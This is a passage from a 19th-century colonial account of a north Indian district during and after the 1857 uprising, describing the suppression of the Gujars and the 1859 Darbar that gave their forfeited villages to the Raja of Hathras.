sarae, and one of its bastions had to be blown up before an entry could be effected: at the same time the town was set on fire and partially destroyed, and twenty-two of the lead ing men were shot. A few days previously, Mir Imdad Ali with Nathu Lal, tahsildar of Sahar, had gone up into the Kosi pargana and restored order among the Gujars there, who alone of all the natives of the district had been active promoters of disaffection. While engaged in their suppression, Imdad Ali received a gun-shot wound in the chest, but fortunately it had no fatal result, He is now Deputy Collector of Muradabad, with a special additional allowance of Rs. 150 per mensem, and has been made a C.S.I. By the end of November general tranquillity was restored ; but it was not till July, 1858, that the treasury was transferred from the Seth's house in the city to the Police lines in the civil station.

In Christmas week of the following year, 1859, the viceroy held a Darbar, in which many honours were conferred upon different individuals, and in particular the ten villages, which the Gujars had forfeited by their open rebellion, were bestowed upon Raja Gobind Sinh of Hathras, in acknowledg ment of his distinguished loyalty and good services. The value of this grant has been largely diminished by the persistent lawlessness of the ejected Gujars, who have always sullenly resented the loss of their estates.

References